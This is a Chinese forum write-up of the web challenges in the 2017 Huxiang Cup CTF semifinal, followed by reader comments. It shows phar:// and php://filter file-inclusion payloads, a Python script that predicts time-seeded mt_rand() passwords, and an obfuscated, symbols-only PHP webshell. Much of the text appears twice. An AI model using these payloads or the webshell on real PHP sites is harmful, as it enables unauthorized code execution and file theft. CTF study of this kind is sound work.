2017年湖湘杯复赛WriteUp【WEB部分、含源码】
1.WEB200:
题目提示:只是一个普通的上传。
打开页面以后得到两点提示:a.只能上传png b.htmlentities(ucfirst($op)); op变量做过简单的处理。
b.打开upload页面发现http://118.190.87.135:10080/?op=upload ==> op=upload应该是文件包含。
扫描一下目录:upload.php、home.php、flag.php、show.php加上两个目录image和uploads
包含一下flag.php看看,应该不会这么简单:
不行,那就上传一个png:
页面返回URL: op=show&imagekey=cf32f1071d5f2a4b89c72df04a1b5de02dce2bf1
到这里就更加印证了是一个文件包含漏洞了,这个imagekey应该就是上传后的文件名,上传的文件应该是在uploads文件下:
果然,接下来要包含它。
重新思考了一下,包含upload.php的时候,是op=upload 那么其代码应该是op=$_GET[op].’.php’;在文件中加上php的,这时候我想到phar://协议。
将x.php(一句话shell)压缩成zip格式,然后再改成png格式上传到服务器,用包含结合phar协议来执行php文件:
Payload:
Ok,可以执行,接下来就是读取flag.php中的内容了。
Payload:x=highlight_file(‘././flag.php’);
其实后来比赛完以后和别人交流,他们直接用包含就拿到了flag,没上传文件,用了filter协议,当时没想到。
payload:?op=php://filter/read=convert.base64-encode/resource=flag
2.Web150 random
这道题是相当的坑,11点出了以后到4点左右才正常。
像这样的题,进去没什么提示,首先想到的源代码泄露,然后审计代码绕过一些的。访问.index.php.swp存在,这个是vi编辑器留下的,但是在11点-4点之间这段时间,这个里面根本没有源码,和index一样是乱码。
源码看到以后,就发现是mt_rand()伪加密,mt_srand()以time()为种子进行播种,mt_rand()生成的内容是依赖于time()的。
思路:用python直接访问页面拿到pwd的值,在time()生成的时间戳变化之前提交上去,就可以绕过第一层if($pwd == $_GET[pwd]),但是这乱码是什么东东?
把源码放在本地,然后去生成、输出pwd 和 session。
发现还是乱码,那可能pwd就是乱码,ok。写个脚本,让脚本先访问题目地址,处理题目地址返回页面,取出pwd的值,再访问本地页面对比pwd的值,如果相同,则把本地页面生成的pwd、session的值分别作为pwd参数和action参数的值提交上去。还有一点就是$_SESSION[‘userLogin’]=create_password(32).rand(); 这里还有个rand()这个rand在页面中没给他播种,这里rand()还是随机的。这里我的处理是用while循环一直跑,总会有本地rand()和环境rand()的种子一样的时候,这时候就可以过第二层循环了。
额,一次就成功了。这么神。再测试:
赛后分析原因,在第一次请求页面的时候,$_SESSION[‘userLogin’]还没被赋值,不需要提交login就可以绕过这个循环,但是我是提交了这个值的,那一次成功可能真的是我运气好吧。
附上python脚本和php本地页面3.WEB300
访问看到源码,过滤了很多字符,但是()[]=’+.;这些字符没过滤,题目又提示能getshell。这让我想起了以前在网上看到过的一个符号一句话木马。
找了很久终于找到了符号一句话但是提交却被拦截。后来测试了一下发现在url中的+表示空格。那么需要给+进行一下URL编码,这样在提交以后默认做一次URL解码,+就回来了。
WEB400没做出来,比赛环境关闭之前7分钟改了题。也是没谁了。
4.题目源码及其他wp
其他题目是队友做的,我只负责WEB,这里把我们汇总后的writeup也放上来。以及题目源码。
writeup:链接:http://pan.baidu.com/s/1dFLFhfz 密码:fh9e
WEB源码:链接:http://pan.baidu.com/s/1dFnjh5J 密码:zmeq
TCV=0
题目提示:只是一个普通的上传。
打开页面以后得到两点提示:a.只能上传png b.htmlentities(ucfirst($op)); op变量做过简单的处理。
b.打开upload页面发现http://118.190.87.135:10080/?op=upload ==> op=upload应该是文件包含。
扫描一下目录:upload.php、home.php、flag.php、show.php加上两个目录image和uploads
包含一下flag.php看看,应该不会这么简单:
不行,那就上传一个png:
页面返回URL: op=show&imagekey=cf32f1071d5f2a4b89c72df04a1b5de02dce2bf1
到这里就更加印证了是一个文件包含漏洞了,这个imagekey应该就是上传后的文件名,上传的文件应该是在uploads文件下:
果然,接下来要包含它。
重新思考了一下,包含upload.php的时候,是op=upload 那么其代码应该是op=$_GET[op].’.php’;在文件中加上php的,这时候我想到phar://协议。
将x.php(一句话shell)压缩成zip格式,然后再改成png格式上传到服务器,用包含结合phar协议来执行php文件:
Payload:
op=phar://./uploads/e3b413b087bd7f56d3a67d3f970a88c489b60e66.png/x
Ok,可以执行,接下来就是读取flag.php中的内容了。
Payload:x=highlight_file(‘././flag.php’);
其实后来比赛完以后和别人交流,他们直接用包含就拿到了flag,没上传文件,用了filter协议,当时没想到。
payload:?op=php://filter/read=convert.base64-encode/resource=flag
2.Web150 random
这道题是相当的坑,11点出了以后到4点左右才正常。
像这样的题,进去没什么提示,首先想到的源代码泄露,然后审计代码绕过一些的。访问.index.php.swp存在,这个是vi编辑器留下的,但是在11点-4点之间这段时间,这个里面根本没有源码,和index一样是乱码。
源码看到以后,就发现是mt_rand()伪加密,mt_srand()以time()为种子进行播种,mt_rand()生成的内容是依赖于time()的。
思路:用python直接访问页面拿到pwd的值,在time()生成的时间戳变化之前提交上去,就可以绕过第一层if($pwd == $_GET[pwd]),但是这乱码是什么东东?
把源码放在本地,然后去生成、输出pwd 和 session。
发现还是乱码,那可能pwd就是乱码,ok。写个脚本,让脚本先访问题目地址,处理题目地址返回页面,取出pwd的值,再访问本地页面对比pwd的值,如果相同,则把本地页面生成的pwd、session的值分别作为pwd参数和action参数的值提交上去。还有一点就是$_SESSION[‘userLogin’]=create_password(32).rand(); 这里还有个rand()这个rand在页面中没给他播种,这里rand()还是随机的。这里我的处理是用while循环一直跑,总会有本地rand()和环境rand()的种子一样的时候,这时候就可以过第二层循环了。
额,一次就成功了。这么神。再测试:
赛后分析原因,在第一次请求页面的时候,$_SESSION[‘userLogin’]还没被赋值,不需要提交login就可以绕过这个循环,但是我是提交了这个值的,那一次成功可能真的是我运气好吧。
附上python脚本和php本地页面
Python:
import requests,re
#re_pass = re.compile(r'<br>.+||')
url = "http://114.215.138.89:10080/"
while True:
res = requests.get(url)
s = res.content[29:-8]
print s
resloaction = requests.get("http://127.0.0.1/test.php")
list = resloaction.content.split(' ')
params={}
if list[0]==s :
params['login']=list[1]
params['pwd']=s
#params['login']=s
resp = requests.get(url,params=params)
if 'flag' in resp.content :
print resp.content
break;
elif 'Wrong' in resp.content :
print 'Wrong'
elif 'first' in resp.content :
print 'first'
else :pass
<?php
function create_password($pw_length = 10){
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++){
$randpwd .= chr(mt_rand(100, 200));
}
return $randpwd;
}
mt_srand(time());
$pwd=create_password();
echo $pwd.' ';
//echo "<br>";
echo create_password(32).rand();
访问看到源码,过滤了很多字符,但是()[]=’+.;这些字符没过滤,题目又提示能getshell。这让我想起了以前在网上看到过的一个符号一句话木马。
找了很久终于找到了符号一句话
<?php
$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;
$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;${'_'.$__}[_](${'_'.$__}[__]);
?>
WEB400没做出来,比赛环境关闭之前7分钟改了题。也是没谁了。
4.题目源码及其他wp
其他题目是队友做的,我只负责WEB,这里把我们汇总后的writeup也放上来。以及题目源码。
writeup:链接:http://pan.baidu.com/s/1dFLFhfz 密码:fh9e
WEB源码:链接:http://pan.baidu.com/s/1dFnjh5J 密码:zmeq
TCV=0
评论10次
表哥最后多少分哪
做了8道题,不知道多少分,没关注,你们多少分啊
你只做了8道吗? 看师傅这么牛批,吓到我了。 我们做了9道。 离决赛又进一步了。
我们好像也是做了9道
表哥最后多少分哪
做了8道题,不知道多少分,没关注,你们多少分啊
你只做了8道吗? 看师傅这么牛批,吓到我了。 我们做了9道。 离决赛又进一步了。
表哥最后多少分哪
做了8道题,不知道多少分,没关注,你们多少分啊
这不是谷歌大赛吗? 谷歌ctf
不是,是湖湘杯的
确实套路满满,有些题目确实很恶心人。WEB300竟然能想到符号一句话。
之前研究过狗一句话的时候见过那个符号的马,研究了一下没懂原理,就记住了
这不是谷歌大赛吗? 谷歌ctf
确实套路满满,有些题目确实很恶心人。WEB300竟然能想到符号一句话。
关心最后得分 +1
表哥最后多少分哪
很恶心的题,看到这个发蒙,收藏一发慢慢看